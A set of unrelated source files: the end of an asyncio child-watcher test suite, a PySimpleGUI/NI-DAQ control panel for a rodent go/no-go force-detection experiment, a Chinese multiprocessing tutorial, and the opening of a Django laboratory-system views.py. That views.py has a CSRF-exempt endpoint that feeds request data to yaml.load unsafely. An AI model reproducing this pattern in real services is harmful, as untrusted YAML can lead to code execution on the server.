policy.set_child_watcher(asyncio.SafeChildWatcher()) th = threading.Thread(target=f) th.start() th.join() def test_child_watcher_replace_mainloop_existing(self): policy = self.create_policy() loop = policy.get_event_loop() # Explicitly setup SafeChildWatcher, # default ThreadedChildWatcher has no _loop property watcher = asyncio.SafeChildWatcher() policy.set_child_watcher(watcher) watcher.attach_loop(loop) self.assertIs(watcher._loop, loop) new_loop = policy.new_event_loop() policy.set_event_loop(new_loop) self.assertIs(watcher._loop, new_loop) policy.set_event_loop(None) self.assertIs(watcher._loop, None) loop.close() new_loop.close() class TestFunctional(unittest.TestCase): def setUp(self): self.loop = asyncio.new_event_loop() asyncio.set_event_loop(self.loop) def tearDown(self): self.loop.close() asyncio.set_event_loop(None) def test_add_reader_invalid_argument(self): def assert_raises(): return self.assertRaisesRegex(ValueError, r'Invalid file object') cb = lambda: None with assert_raises(): self.loop.add_reader(object(), cb) with assert_raises(): self.loop.add_writer(object(), cb) with assert_raises(): self.loop.remove_reader(object()) with assert_raises(): self.loop.remove_writer(object()) def test_add_reader_or_writer_transport_fd(self): def assert_raises(): return self.assertRaisesRegex( RuntimeError, r'File descriptor .* is used by transport') async def runner(): tr, pr = await self.loop.create_connection( lambda: asyncio.Protocol(), sock=rsock) try: cb = lambda: None with assert_raises(): self.loop.add_reader(rsock, cb) with assert_raises(): self.loop.add_reader(rsock.fileno(), cb) with assert_raises(): self.loop.remove_reader(rsock) with assert_raises(): self.loop.remove_reader(rsock.fileno()) with assert_raises(): self.loop.add_writer(rsock, cb) with assert_raises(): self.loop.add_writer(rsock.fileno(), cb) with assert_raises(): self.loop.remove_writer(rsock) with assert_raises(): self.loop.remove_writer(rsock.fileno()) finally: tr.close() rsock, wsock = socket.socketpair() try: self.loop.run_until_complete(runner()) finally: rsock.close() wsock.close() if __name__ == '__main__': unittest.main()
controlPanel.py
import nidaqmx import numpy as np import scipy.signal import matplotlib.pyplot as plt import time import compress_pickle as pickle from json import (load as jsonload, dump as jsondump) import os import PySimpleGUI as sg import threading SETTINGS_FILE = os.path.join(os.getcwd(), r'settings_file.cfg') #os.path.dirname(__file__) DEFAULT_SETTINGS = {'lengthChannel_input': 'Dev2/ai0', 'forceChannel_input': 'Dev2/ai1', 'lengthChannel_output': 'Dev2/ao0', 'forceChannel_output': 'Dev2/ao1', 'tone_output': '/Dev2/port0/line5', 'trigger_output': '/Dev2/port0/line0', 'reward_output': '/Dev2/port0/line4', 'squirt_output': '/Dev2/port0/line3', 'abort_output': '/Dev2/port0/line2', 'camera_output': '/Dev2/port0/line6', 'punish_output': '/Dev2/port0/line1', 'lick_input': '/Dev2/port0/line7', 'clock_input': '/Dev2/PFI0', 'trigger_input': '/Dev2/PFI1' } # "Map" from the settings dictionary keys to the window's element keys SETTINGS_KEYS_TO_ELEMENT_KEYS = {'lengthChannel_input': '-LENGTH IN-', 'forceChannel_input': '-FORCE IN-', 'lengthChannel_output': '-LENGTH OUT-', 'forceChannel_output' : '-FORCE OUT-', 'tone_output': '-TONE OUT-', 'trigger_output': '-TRIGGER OUT-', 'reward_output': '-REWARD OUT-', 'squirt_output': '-SQUIRT OUT-', 'abort_output': '-ABORT OUT-', 'camera_output': '-CAMERA OUT-', 'punish_output': '-PUNISH OUT-', 'lick_input': '-LICK IN-', 'clock_input': '-CLOCK IN-', 'trigger_input': '-TRIGGER IN-' } ##################### Load/Save Settings File ##################### def load_settings(settings_file, default_settings): try: with open(settings_file, 'r') as f: settings = jsonload(f) except Exception as e: sg.popup_quick_message(f'exception {e}', 'No settings file found... will create one for you', keep_on_top=True, background_color='red', text_color='white') settings = default_settings save_settings(settings_file, settings, None) return settings def save_settings(settings_file, settings, values): if values: # if there are stuff specified by another window, fill in those values for key in SETTINGS_KEYS_TO_ELEMENT_KEYS: # update window with the values read from settings file try: settings[key] = values[SETTINGS_KEYS_TO_ELEMENT_KEYS[key]] except Exception as e: print(f'Problem updating settings from window values. Key = {key}') with open(settings_file, 'w') as f: jsondump(settings, f) sg.popup('Settings saved') ##################### Make a settings window ##################### def create_settings_window(settings): sg.theme('Default1') def TextLabel(text): return sg.Text(text+':', justification='r', size=(15,1)) layout = [ [sg.Text('DAQ Settings', font='Any 15')], [TextLabel('Length Input'), sg.Input(key='-LENGTH IN-')], [TextLabel('Force Input'),sg.Input(key='-FORCE IN-')], [TextLabel('Length Output'),sg.Input(key='-LENGTH OUT-')], [TextLabel('Force Output'),sg.Input(key='-FORCE OUT-')], [TextLabel('Tone Output'),sg.Input(key='-TONE OUT-')], [TextLabel('Trigger Output'),sg.Input(key='-TRIGGER OUT-')], [TextLabel('Reward Output'),sg.Input(key='-REWARD OUT-')], [TextLabel('Squirt Output'),sg.Input(key='-SQUIRT OUT-')], [TextLabel('Abort Output'),sg.Input(key='-ABORT OUT-')], [TextLabel('Camera Output'),sg.Input(key='-CAMERA OUT-')], [TextLabel('Punish Output'),sg.Input(key='-PUNISH OUT-')], [TextLabel('Lick Input'),sg.Input(key='-LICK IN-')], [TextLabel('Clock Input'),sg.Input(key='-CLOCK IN-')], [TextLabel('Trigger Input'),sg.Input(key='-TRIGGER IN-')], [sg.Button('Save'), sg.Button('Exit')] ] window = sg.Window('Settings', layout, keep_on_top=True, finalize=True) for key in SETTINGS_KEYS_TO_ELEMENT_KEYS: # update window with the values read from settings file try: window[SETTINGS_KEYS_TO_ELEMENT_KEYS[key]].update(value=settings[key]) except Exception as e: print(f'Problem updating PySimpleGUI window from settings. Key = {key}') return window ##################### Set up DAQ tasks ##################### def setupDaq(settings,taskParameters,setup='task'): numSamples = int(taskParameters['Fs']*taskParameters['trialDuration']) if setup == 'task': ai_task = nidaqmx.Task() ai_task.ai_channels.add_ai_voltage_chan(settings['lengthChannel_input'],name_to_assign_to_channel='length_in') ai_task.ai_channels.add_ai_voltage_chan(settings['forceChannel_input'],name_to_assign_to_channel='force_in') ai_task.timing.cfg_samp_clk_timing(taskParameters['Fs'], source=settings['clock_input'], samps_per_chan=numSamples) ai_task.triggers.start_trigger.cfg_dig_edge_start_trig(settings['trigger_input']) di_task = nidaqmx.Task() di_task.di_channels.add_di_chan(settings['lick_input'],name_to_assign_to_lines='lick') di_task.timing.cfg_samp_clk_timing(taskParameters['Fs'], source=settings['clock_input'], samps_per_chan=numSamples) di_task.triggers.start_trigger.cfg_dig_edge_start_trig(settings['trigger_input']) ao_task = nidaqmx.Task() ao_task.ao_channels.add_ao_voltage_chan(settings['lengthChannel_output'],name_to_assign_to_channel='length_out') ao_task.ao_channels.add_ao_voltage_chan(settings['forceChannel_output'],name_to_assign_to_channel='force_out') ao_task.timing.cfg_samp_clk_timing(taskParameters['Fs'], source=settings['clock_input'], samps_per_chan=numSamples) ao_task.triggers.start_trigger.cfg_dig_edge_start_trig(settings['trigger_input']) do_task = nidaqmx.Task() do_task.do_channels.add_do_chan(settings['tone_output'],name_to_assign_to_lines='tone') do_task.do_channels.add_do_chan(settings['trigger_output'],name_to_assign_to_lines='trigger') do_task.do_channels.add_do_chan(settings['reward_output'],name_to_assign_to_lines='reward') do_task.do_channels.add_do_chan(settings['squirt_output'],name_to_assign_to_lines='squirt') do_task.do_channels.add_do_chan(settings['abort_output'],name_to_assign_to_lines='abort') do_task.do_channels.add_do_chan(settings['camera_output'],name_to_assign_to_lines='camera') do_task.do_channels.add_do_chan(settings['punish_output'],name_to_assign_to_lines='punish') do_task.timing.cfg_samp_clk_timing(taskParameters['Fs'], source=settings['clock_input'], samps_per_chan=numSamples) return (ai_task, di_task, ao_task, do_task, setup) elif setup == 'lickMonitor': di_task = nidaqmx.Task() di_task.di_channels.add_di_chan(settings['lick input'],name_to_assign_to_lines='lick') di_task.timing.cfg_change_detection_timing(falling_edge_chan=settings['lick input'], sample_mode = AcquisitionType.CONTINUOUS, samps_per_chan = 2) return(di_task, setup) elif setup == 'dispenseReward': do_task = nidaqmx.Task() do_task.do_channels.add_do_chan(settings['squirt_output'],name_to_assign_to_lines='squirt') do_task.timing.cfg_samp_clk_timing(taskParameters['Fs'], source=settings['clock_input'], samps_per_chan=100) return(do_task, setup) ##################### Define task functions ##################### # global lastLickTime = time.time() # def monitorLicks(settings,taskParameters): # global lastLickTime # lastLickTime = time.time() # di_task, daqStatus = setupDaq(settings,taskParameters,setup='lickMonitor') # di_task.start() # while time.time() - lastLickTime < taskParameters['lickTimeout']: ## need to setup task parameters to include this # di_task.register_signal_event(nidaqmx.constants.Signal.CHANGE_DETECTION_EVENT,callbackUpdateLickTime) # print(lastLickTime) # di_task.stop() # di_task.close() # return # # def callbackUpdateLickTime(task_handle,signal_type=nidaqmx.contansts.Signal.CHANGE_DETECTION_EVENT,callback_data): # print('Callback function ran') # global lastLickTime # lastLickTime = datetime.now() # return 0 def runTask(ai_task, di_task, ao_task, do_task, taskParameters): di_data = {} ## dictionary that saves digital inputs coming from the daq ai_data = {} ## dictionary that saves analog inputs coming from the daq do_data = {} ao_data = {} results = [] originalProb = taskParameters['goProbability'] taskParameters['toneDuration'] = 0.02 ## hard coding this because the actual duration is set by the arduino if taskParameters['save']: fileName = '{}\\{}_{}.gz'.format(taskParameters['savePath'],time.strftime('%Y%m%d_%H%M%S'), taskParameters['animal']) for trial in range(taskParameters['numTrials']): print('On trial {} of {}'.format(trial+1,taskParameters['numTrials'])) ai_data[trial], di_data[trial], ao_data[trial], do_data[trial], result = runTrial(ai_task, di_task, ao_task, do_task, taskParameters) results.append(result) temp = np.array(results) try: hitRate = np.sum(temp=='hit')/(np.sum(temp=='hit')+np.sum(temp=='miss')+1) FARate = np.sum(temp=='FA')/(np.sum(temp=='FA')+np.sum(temp=='CR')+1) print('\tHit Rate = {0:0.2f}, FA Rate = {1:0.2f}, d\' = {2:0.2f}'.format(hitRate,FARate,dprime(hitRate,FARate))) except ZeroDivisionError: pass if result == 'FA': time.sleep(taskParameters['falseAlarmTimeout']) last20 = temp[-20:] FA_rate_last20 = np.sum(last20=='FA')/(np.sum(last20=='FA')+np.sum(last20=='CR')) hitRate_last20 = np.sum(last20=='hit')/(np.sum(last20=='hit')+np.sum(last20=='miss')) print('\tHit Rate Last 20 = {}; Total hits = {}'.format(hitRate_last20,np.sum(temp=='hit'))) ### these statements try to sculpt behavior during the task if len(last20) == 20 and FA_rate_last20 > 0.9: taskParameters['goProbability'] = 0 print('\t\tforced no-go trial') else: taskParameters['goProbability'] = originalProb if taskParameters['save'] and trial % 50 == 0: ## save every fifty trials outDict = {} outDict['taskParameters'] = taskParameters outDict['di_data'] = {**di_data} outDict['di_channels'] = di_task.channel_names outDict['ai_data'] = {**ai_data} outDict['ai_channels'] = ai_task.channel_names outDict['do_data'] = {**do_data} outDict['do_channels'] = do_task.channel_names outDict['ao_data'] = {**ao_data} outDict['ao_channels'] = ao_task.channel_names outDict['results'] = np.array(results) pickle.dump(outDict,fileName) print('\n\nTask Finished, {} rewards delivered\n'.format(np.sum(temp=='hit'))) ## saving data and results taskParameters['goProbability'] = originalProb ## resetting here so the appropriate probability is saved if taskParameters['save']: print('...saving data...\n') outDict = {} outDict['taskParameters'] = taskParameters outDict['di_data'] = {**di_data} outDict['di_channels'] = di_task.channel_names outDict['ai_data'] = {**ai_data} outDict['ai_channels'] = ai_task.channel_names outDict['do_data'] = {**do_data} outDict['do_channels'] = do_task.channel_names outDict['ao_data'] = {**ao_data} outDict['ao_channels'] = ao_task.channel_names outDict['results'] = np.array(results) pickle.dump(outDict,fileName) print('Data saved in {}\n'.format(fileName)) lastTrialGo = False def runTrial(ai_task, di_task, ao_task, do_task, taskParameters): ## Calculated Parameters if taskParameters['varyTone']: timeToToneRange = (taskParameters['forceTime']+taskParameters['timeToTone'],taskParameters['forceTime']+taskParameters['forceDuration']-taskParameters['rewardWindowDuration']) print('Time to tone range = {} to {} s'.format(timeToToneRange[0],timeToToneRange[1])) numSamples = int(taskParameters['Fs'] * taskParameters['trialDuration']) if taskParameters['varyForce']: taskParameters['crutchForce'] = 75 ## add this to the GUI in the future taskParameters['forceRange'] = [0.5, 50] ## add this to the GUI in the future crutchTrial = np.random.binomial(1,0.25) ## crutch force applies to 25% of Go trials if crutchTrial: print('crutch trial') force_volts = taskParameters['crutchForce']/53.869 else: force_volts = (np.random.random_sample()*(taskParameters['forceRange'][1]-taskParameters['forceRange'][0]) + taskParameters['forceRange'][0])/53.869 print('{0:0.1f} mN trial'.format(force_volts*53.869)) else: force_volts = taskParameters['force']/53.869 forceTime_samples = int(taskParameters['forceTime'] * taskParameters['Fs']) forceDuration_samples = int(taskParameters['forceDuration'] * taskParameters['Fs']) samplesToToneStart = int(forceTime_samples + taskParameters['timeToTone'] * taskParameters['Fs']) samplesToToneEnd = int(samplesToToneStart + taskParameters['toneDuration'] * taskParameters['Fs']) samplesToRewardEnd = int(samplesToToneStart + taskParameters['rewardWindowDuration'] * taskParameters['Fs']) if taskParameters['varyTone']: timeToTone = (timeToToneRange[1]-timeToToneRange[0])*np.random.random_sample()+timeToToneRange[0] samplesToToneStart = int(timeToTone * taskParameters['Fs']) samplesToToneEnd = int(samplesToToneStart + taskParameters['toneDuration'] * taskParameters['Fs']) samplesToRewardEnd = int(samplesToToneStart + taskParameters['rewardWindowDuration'] * taskParameters['Fs']) ## determining whether this trial is go or no-go goTrial = np.random.binomial(1,taskParameters['goProbability']) global lastTrialGo if taskParameters['alternate']: goTrial = not lastTrialGo ## setting up daq outputs ao_out = np.zeros([2,numSamples]) do_out = np.zeros([7,numSamples],dtype='bool') if taskParameters['playTone']: do_out[0,samplesToToneStart:samplesToToneEnd] = True ## tone do_out[1,1:-1] = True ## trigger (tells the intan system when to record and the non-DO nidaq tasks when to start) if goTrial: ao_out[1,:forceTime_samples] = np.arange(0,1,1/forceTime_samples) * force_volts ao_out[1,forceTime_samples:forceTime_samples+forceDuration_samples] = force_volts ao_out[1,forceTime_samples+forceDuration_samples:forceTime_samples+forceDuration_samples+forceTime_samples] = np.arange(1,0,-1/forceTime_samples) * force_volts do_out[2,samplesToToneStart+50:samplesToRewardEnd] = True ## reward window if taskParameters['rewardAllGos']: do_out[3,samplesToToneStart+50:samplesToToneStart+150] = True ## delivers reward via squirt if not goTrial: ao_out[1,:] = 0 if taskParameters['enablePunish']: do_out[6,samplesToToneStart+50:samplesToRewardEnd] = True ## punish window print('punishing FAs w/ NaCl') if taskParameters['forceContinuous']: ## overwriting force command so that it changes at the beginning of transition trials if goTrial: if not lastTrialGo: ao_out[1,:forceTime_samples] = np.arange(0,1,1/forceTime_samples) * force_volts ao_out[1,forceTime_samples:] = force_volts else: ao_out[1,:] = force_volts do_out[2,samplesToToneStart:samplesToRewardEnd] = True ## reward window if taskParameters['rewardAllGos']: do_out[3,samplesToToneStart+50:samplesToToneStart+500] = True ## delivers reward via squirt if not goTrial: if lastTrialGo: ao_out[1,:forceTime_samples] = np.arange(1,0,-1/forceTime_samples) * force_volts ao_out[1,forceTime_samples:] = 0 else: ao_out[1,:] = 0 if taskParameters['abortEarlyLick']: do_out[4,forceTime_samples:samplesToToneStart] = True ## making camera trigger cameraRate = 30 # Hz cameraOnsets = np.int32(np.arange(0.01,taskParameters['trialDuration'],1/cameraRate)*taskParameters['Fs']) cameraOffsets = np.int32(cameraOnsets+0.005*taskParameters['Fs']) for on_off in zip(cameraOnsets,cameraOffsets): do_out[5,on_off[0]:on_off[1]] = True ## writing daq outputs onto device do_task.write(do_out) ao_task.write(ao_out) ## starting tasks (make sure do_task is started last -- it triggers the others) ai_task.start() di_task.start() ao_task.start() do_task.start() do_task.wait_until_done() ## adding data to the outputs ai_data = np.array(ai_task.read(numSamples)) di_data = np.array(di_task.read(numSamples)) ao_data = ao_out do_data = do_out ## stopping tasks do_task.stop() ao_task.stop() ai_task.stop() di_task.stop() ## printing trial result if taskParameters['abortEarlyLick'] == True and sum(di_data[forceTime_samples:samplesToToneStart]) > 0: print('\tTrial Aborted, early lick') result = 'abort' if goTrial == 1: lastTrialGo = True else: lastTrialGo = False else: if goTrial == 1: if sum(di_data[samplesToToneStart:samplesToRewardEnd]) > 0: print('\tHit') result = 'hit' else: print('\tMiss') result = 'miss' lastTrialGo = True else: if sum(di_data[samplesToToneStart:samplesToRewardEnd]) > 0: print('\tFalse Alarm') result = 'FA' else: print('\tCorrect Rejection') result = 'CR' lastTrialGo = False if taskParameters['downSample']: ai_data = scipy.signal.decimate(ai_data, 10,0) di_data = np.bool8(scipy.signal.decimate(di_data,10,0)) ao_data = scipy.signal.decimate(ao_data,10,0) do_data = np.bool8(scipy.signal.decimate(do_out,10,0)) return ai_data, di_data, ao_data, do_data, result def dispense(do_task,taskParameters): numSamples = 100 do_out = np.zeros(numSamples,dtype='bool') do_out[5:-2] = True do_task.write(do_out) do_task.start() do_task.wait_until_done() do_task.stop() def dprime(hitRate,falseAlarmRate): return(scipy.stats.norm.ppf(hitRate) - scipy.stats.norm.ppf(falseAlarmRate)) def updateParameters(values): taskParameters = {} taskParameters['numTrials'] = int(values['-NumTrials-']) taskParameters['Fs'] = int(values['-SampleRate-']) taskParameters['downSample'] = values['-DownSample-'] taskParameters['trialDuration'] = float(values['-TrialDuration-']) taskParameters['falseAlarmTimeout'] = float(values['-FalseAlarmTimeout-']) taskParameters['playTone'] = values['-PlayTone-'] taskParameters['enablePunish'] = values['-EnablePunish-'] taskParameters['timeToTone'] = float(values['-TimeToTone-']) taskParameters['varyTone'] = values['-VaryTone-'] taskParameters['abortEarlyLick'] = values['-AbortEarlyLick-'] taskParameters['rewardWindowDuration'] = float(values['-RewardWindowDuration-']) taskParameters['rewardAllGos'] = values['-RewardAllGos-'] taskParameters['goProbability'] = float(values['-GoProbability-']) taskParameters['alternate'] = values['-Alternate-'] taskParameters['force'] = float(values['-Force-']) taskParameters['varyForce'] = values['-VaryForce-'] taskParameters['forceTime'] = float(values['-ForceRampTime-']) taskParameters['forceDuration'] = float(values['-StepDuration-']) taskParameters['forceContinuous'] = values['-EnableContinuous-'] taskParameters['savePath'] = values['-SavePath-'] taskParameters['save'] = values['-Save-'] taskParameters['animal'] = values['-Animal-'] return taskParameters ##################### Open and run panel ##################### def the_gui(): sg.theme('Default1') textWidth = 23 inputWidth = 6 window, settings = None, load_settings(SETTINGS_FILE, DEFAULT_SETTINGS ) layout = [ [sg.Text('Number of Trials',size=(textWidth,1)), sg.Input(100,size=(inputWidth,1),key='-NumTrials-')], [sg.Text('Sample Rate (Hz)',size=(textWidth,1)), sg.Input(default_text=20000,size=(inputWidth,1),key='-SampleRate-'),sg.Check('Downsample?',default=True,key='-DownSample-')], [sg.Text('Trial Duration (s)',size=(textWidth,1)), sg.Input(default_text=7,size=(inputWidth,1),key='-TrialDuration-')], [sg.Text('False Alarm Timeout (s)',size=(textWidth,1)),sg.Input(default_text=3,size=(inputWidth,1),key='-FalseAlarmTimeout-')], [sg.Check('Play Tone?',default=True,key='-PlayTone-'),sg.Check('Enable punish?',default=False,key='-EnablePunish-')], [sg.Text('Time to Tone/Reward Window (from full force; s)',size=(textWidth,1)), sg.Input(default_text=3,size=(inputWidth,1),key='-TimeToTone-'), sg.Check('Vary this?',key='-VaryTone-')], [sg.Check('Abort if lick detected between start of trial and tone?',key='-AbortEarlyLick-')], [sg.Text('Reward Window Duration (s)',size=(textWidth,1)),sg.Input(default_text=1,size=(inputWidth,1),key='-RewardWindowDuration-'),sg.Check('Reward All Go Trials?',key='-RewardAllGos-')], [sg.Text('Go Probability',size=(textWidth,1)),sg.Input(default_text=0.5,size=(inputWidth,1),key='-GoProbability-'),sg.Check('Alternate trials?',key='-Alternate-')], [sg.Text('Force (mN)',size=(textWidth,1)),sg.Input(default_text=50,size=(inputWidth,1),key='-Force-'),sg.Check('Vary force?',key='-VaryForce-')], [sg.Text('Force Ramp Time (s)',size=(textWidth,1)),sg.Input(default_text=1,size=(inputWidth,1),key='-ForceRampTime-')], [sg.Text('Step Duration (s)',size=(textWidth,1)),sg.Input(default_text=3,size=(inputWidth,1),key='-StepDuration-'),sg.Check('Continue to Nogo?',key='-EnableContinuous-')], [sg.Text('Save Path',size=(textWidth,1)),sg.Input(os.path.normpath('E://DATA/Behavior/'),size=(20,1),key='-SavePath-'), sg.Check('Save?',default=True,key='-Save-')], [sg.Text('Animal ID',size=(textWidth,1)),sg.Input(size=(20,1),key='-Animal-')], [sg.Button('Run Task',size=(30,2)),sg.Button('Dispense Reward',size=(30,2))], [sg.Button('Update Parameters'),sg.Button('Exit'),sg.Button('Setup DAQ'), sg.Input(key='Load Parameters', visible=False, enable_events=True), sg.FileBrowse('Load Parameters',initial_folder='Z:\\HarveyLab\\Tier1\\Alan\\Behavior'),sg.Button('Test Lick Monitor')], [sg.Output(size=(70,20),key='-OUTPUT-')]] window = sg.Window('Sustained Detection Task',layout) event, values = window.read(10) taskParameters = updateParameters(values) while True: event, values = window.read() print(event) if event in (sg.WIN_CLOSED, 'Exit'): break if event == 'Update Parameters': taskParameters = updateParameters(values) print('parameters updated') if event == 'Setup DAQ': event,values = create_settings_window(settings).read(close=True) if event == 'Save': save_settings(SETTINGS_FILE,settings,values) if event == 'Run Task': taskParameters = updateParameters(values) print('parameters updated') try: if daqStatus != 'task': do_task.close() ai_task, di_task, ao_task, do_task, daqStatus = setupDaq(settings,taskParameters) except NameError: ai_task, di_task, ao_task, do_task, daqStatus = setupDaq(settings,taskParameters) threading.Thread(target=runTask, args=(ai_task, di_task, ao_task, do_task, taskParameters), daemon=True).start() if event == 'Dispense Reward': try: if daqStatus != 'dispenseReward': ai_task.close() di_task.close() ao_task.close() do_task.close() do_task, daqStatus = setupDaq(settings,taskParameters,'dispenseReward') except NameError: do_task, daqStatus = setupDaq(settings,taskParameters,'dispenseReward') dispense(do_task,taskParameters) if event == 'Load Parameters': print(f'Updating parameters from {values["Load Parameters"]}') try: tempParameters = pickle.load(values['Load Parameters'])['taskParameters'] window.Element('-NumTrials-').Update(value=tempParameters['numTrials']) window.Element('-SampleRate-').Update(value=tempParameters['Fs']) window.Element('-DownSample-').Update(value=tempParameters['downSample']) window.Element('-TrialDuration-').Update(value=tempParameters['trialDuration']) window.Element('-FalseAlarmTimeout-').Update(value=tempParameters['falseAlarmTimeout']) if 'playTone' in tempParameters.keys(): window.Element('-PlayTone-').Update(value=tempParameters['playTone']) else: window.Element('-PlayTone-').Update(value=True) window.Element('-TimeToTone-').Update(value=tempParameters['timeToTone']) window.Element('-VaryTone-').Update(value=tempParameters['varyTone']) if 'abortEarlyLick' in tempParameters.keys(): window.Element('-AbortEarlyLick-').Update(value=tempParameters['abortEarlyLick']) else: window.Element('-AbortEarlyLick-').Update(value=False) window.Element('-RewardWindowDuration-').Update(value=tempParameters['rewardWindowDuration']) window.Element('-RewardAllGos-').Update(value=tempParameters['rewardAllGos']) window.Element('-GoProbability-').Update(value=tempParameters['goProbability']) window.Element('-Alternate-').Update(value=tempParameters['alternate']) if 'varyForce' in tempParameters.keys(): window.Element('-VaryForce-').Update(value=tempParameters['varyForce']) else: window.Element('-VaryForce-').Update(value=False) window.Element('-Force-').Update(value=tempParameters['force']) window.Element('-ForceRampTime-').Update(value=tempParameters['forceTime']) window.Element('-StepDuration-').Update(value=tempParameters['forceDuration']) window.Element('-EnableContinuous-').Update(value=tempParameters['forceContinuous']) except: 'invalid file' window.close() if __name__ == '__main__': the_gui() print('Exiting Program')
net04_global_variables.py
"""进程间不共享全局变量""" ''' @Time : 2018/1/22 下午4:32 @Author : scrappy_zhang @File : net04_global_variables.py ''' import multiprocessing import time global_num = 0 def sing(): global global_num print('开始:全局变量sing global_num= ', global_num) for i in range(5): print('正在唱歌呢 %d' % i) global_num = global_num + 1 # 修改全局变量 time.sleep(1) # 休息1秒 print('结束:全局变量sing global_num= ', global_num) def dance(): global global_num print('开始:全局变量dance global_num= ', global_num) for i in range(5): print('正在跳舞呢 %d' % i) global_num = global_num + 1 # 修改全局变量 time.sleep(1) # 休息1秒 print('结束:全局变量dance global_num= ', global_num) if __name__ == '__main__': print('开始:全局变量main global_num= ', global_num) p1 = multiprocessing.Process(target=sing) # 创建唱歌进程 p2 = multiprocessing.Process(target=dance) # 创建跳舞进程 p1.start() p2.start() p1.join() # 待子进程p1执行完毕后再执行下面的语句 p2.join() # 待子进程p2执行完毕后再执行下面的语句 print('结束:全局变量main global_num= ', global_num)
views.py
import logging import threading import time import re from collections import defaultdict from typing import Optional, Union from utils.response import status_response from django.db.utils import IntegrityError from utils.data_verification import as_model, data_parse import simplejson as json import yaml from django.contrib.auth.decorators import login_required from django.contrib.auth.models import Group, User from django.core.cache import cache from django.db import connections, transaction from django.db.models import Q, Prefetch from django.http import JsonResponse from django.utils import timezone from django.views.decorators.csrf import csrf_exempt, ensure_csrf_cookie import api.models as models import directions.models as directions import users.models as users from contracts.models import Company from api import fias from appconf.manager import SettingManager from barcodes.views import tubes from clients.models import CardBase, Individual, Card, Document, District from context_processors.utils import menu from directory.models import Fractions, ParaclinicInputField, ParaclinicUserInputTemplateField, ResearchSite, Culture, Antibiotic, ResearchGroup, Researches as DResearches, ScreeningPlan from doctor_call.models import DoctorCall from external_system.models import FsliRefbookTest from hospitals.models import Hospitals from laboratory.decorators import group_required from laboratory.utils import strdatetime from pharmacotherapy.models import Drugs from podrazdeleniya.models import Podrazdeleniya from slog import models as slog from slog.models import Log from statistics_tickets.models import VisitPurpose, ResultOfTreatment, StatisticsTicket, Outcomes, ExcludePurposes from tfoms.integration import match_enp from utils.common import non_selected_visible_type from utils.dates import try_parse_range, try_strptime from utils.nsi_directories import NSI from .sql_func import users_by_group, users_all, get_diagnoses from laboratory.settings import URL_RMIS_AUTH, URL_ELN_MADE, URL_SCHEDULE import urllib.parse logger = logging.getLogger("API") def translit(locallangstring): """ Translit func :param locallangstring: orign :return: translit of locallangstring """ conversion = { u'\u0410': 'A', u'\u0430': 'a', u'\u0411': 'B', u'\u0431': 'b', u'\u0412': 'V', u'\u0432': 'v', u'\u0413': 'G', u'\u0433': 'g', u'\u0414': 'D', u'\u0434': 'd', u'\u0415': 'E', u'\u0435': 'e', u'\u0401': 'Yo', u'\u0451': 'yo', u'\u0416': 'Zh', u'\u0436': 'zh', u'\u0417': 'Z', u'\u0437': 'z', u'\u0418': 'I', u'\u0438': 'i', u'\u0419': 'Y', u'\u0439': 'y', u'\u041a': 'K', u'\u043a': 'k', u'\u041b': 'L', u'\u043b': 'l', u'\u041c': 'M', u'\u043c': 'm', u'\u041d': 'N', u'\u043d': 'n', u'\u041e': 'O', u'\u043e': 'o', u'\u041f': 'P', u'\u043f': 'p', u'\u0420': 'R', u'\u0440': 'r', u'\u0421': 'S', u'\u0441': 's', u'\u0422': 'T', u'\u0442': 't', u'\u0423': 'U', u'\u0443': 'u', u'\u0424': 'F', u'\u0444': 'f', u'\u0425': 'H', u'\u0445': 'h', u'\u0426': 'Ts', u'\u0446': 'ts', u'\u0427': 'Ch', u'\u0447': 'ch', u'\u0428': 'Sh', u'\u0448': 'sh', u'\u0429': 'Sch', u'\u0449': 'sch', u'\u042a': '', u'\u044a': '', u'\u042b': 'Y', u'\u044b': 'y', u'\u042c': '', u'\u044c': '', u'\u042d': 'E', u'\u044d': 'e', u'\u042e': 'Yu', u'\u044e': 'yu', u'\u042f': 'Ya', u'\u044f': 'ya', } translitstring = [] for c in locallangstring: translitstring.append(conversion.setdefault(c, c)) return ''.join(translitstring) @csrf_exempt def send(request): """ Sysmex save results :param request: :return: """ result = {"ok": False} try: if request.method == "POST": resdict = yaml.load(request.POST["result"]) appkey = request.POST.get("key", "") else: resdict = yaml.load(request.GET["result"]) appkey = request.GET.get("key", "") astm_user = users.DoctorProfile.objects.filter(user__username="astm").first() app = models.Application.objects.filter(key=appkey, active=True).first() resdict["pk"] = int(resdict.get("pk", -111)) if "LYMPH%" in resdict["result"]: resdict["orders"] = {} dpk = -1 if ("bydirection" in request.POST or "bydirection" in request.GET) and not app.tube_work: dpk = resdict["pk"] if dpk >= 4600000000000: dpk -= 4600000000000 dpk //= 10 tubes(request, direction_implict_id=dpk) if directions.TubesRegistration.objects.filter(issledovaniya__napravleniye__pk=dpk, issledovaniya__time_confirmation__isnull=True).exists(): resdict["pk"] = directions.TubesRegistration.objects.filter(issledovaniya__napravleniye__pk=dpk, issledovaniya__time_confirmation__isnull=True).order_by("pk").first().pk else: resdict["pk"] = False result["A"] = appkey direction = None if resdict["pk"] and app: if app.tube_work: direction = directions.Napravleniya.objects.filter(issledovaniya__tubes__pk=resdict["pk"]).first() elif directions.TubesRegistration.objects.filter(pk=resdict["pk"]).exists(): tubei = directions.TubesRegistration.objects.get(pk=resdict["pk"]) direction = tubei.issledovaniya_set.first().napravleniye pks = [] for key in resdict["result"].keys(): if models.RelationFractionASTM.objects.filter(astm_field=key).exists(): fractionRels = models.RelationFractionASTM.objects.filter(astm_field=key) for fractionRel in fractionRels: fraction = fractionRel.fraction if directions.Issledovaniya.objects.filter(napravleniye=direction, research=fraction.research, time_confirmation__isnull=True).exists(): issled = directions.Issledovaniya.objects.filter(napravleniye=direction, research=fraction.research, time_confirmation__isnull=True).order_by("pk")[0] if directions.Result.objects.filter(issledovaniye=issled, fraction=fraction).exists(): fraction_result = directions.Result.objects.filter(issledovaniye=issled, fraction__pk=fraction.pk).order_by("-pk")[0] else: fraction_result = directions.Result(issledovaniye=issled, fraction=fraction) fraction_result.value = str(resdict["result"][key]).strip() # Установка значения if 'Non-React' in fraction_result.value: fraction_result.value = 'Отрицательно' if fraction_result.value.isdigit(): fraction_result.value = "%s.0" % fraction_result.value find = re.findall(r"\d+.\d+", fraction_result.value) if len(find) > 0: val = float(find[0]) * fractionRel.get_multiplier_display() val = app.auto_set_places(fractionRel, val) fraction_result.value = fraction_result.value.replace(find[0], str(val)) fraction_result.iteration = 1 # Установка итерации ref = fractionRel.default_ref if ref: fraction_result.ref_title = ref.title 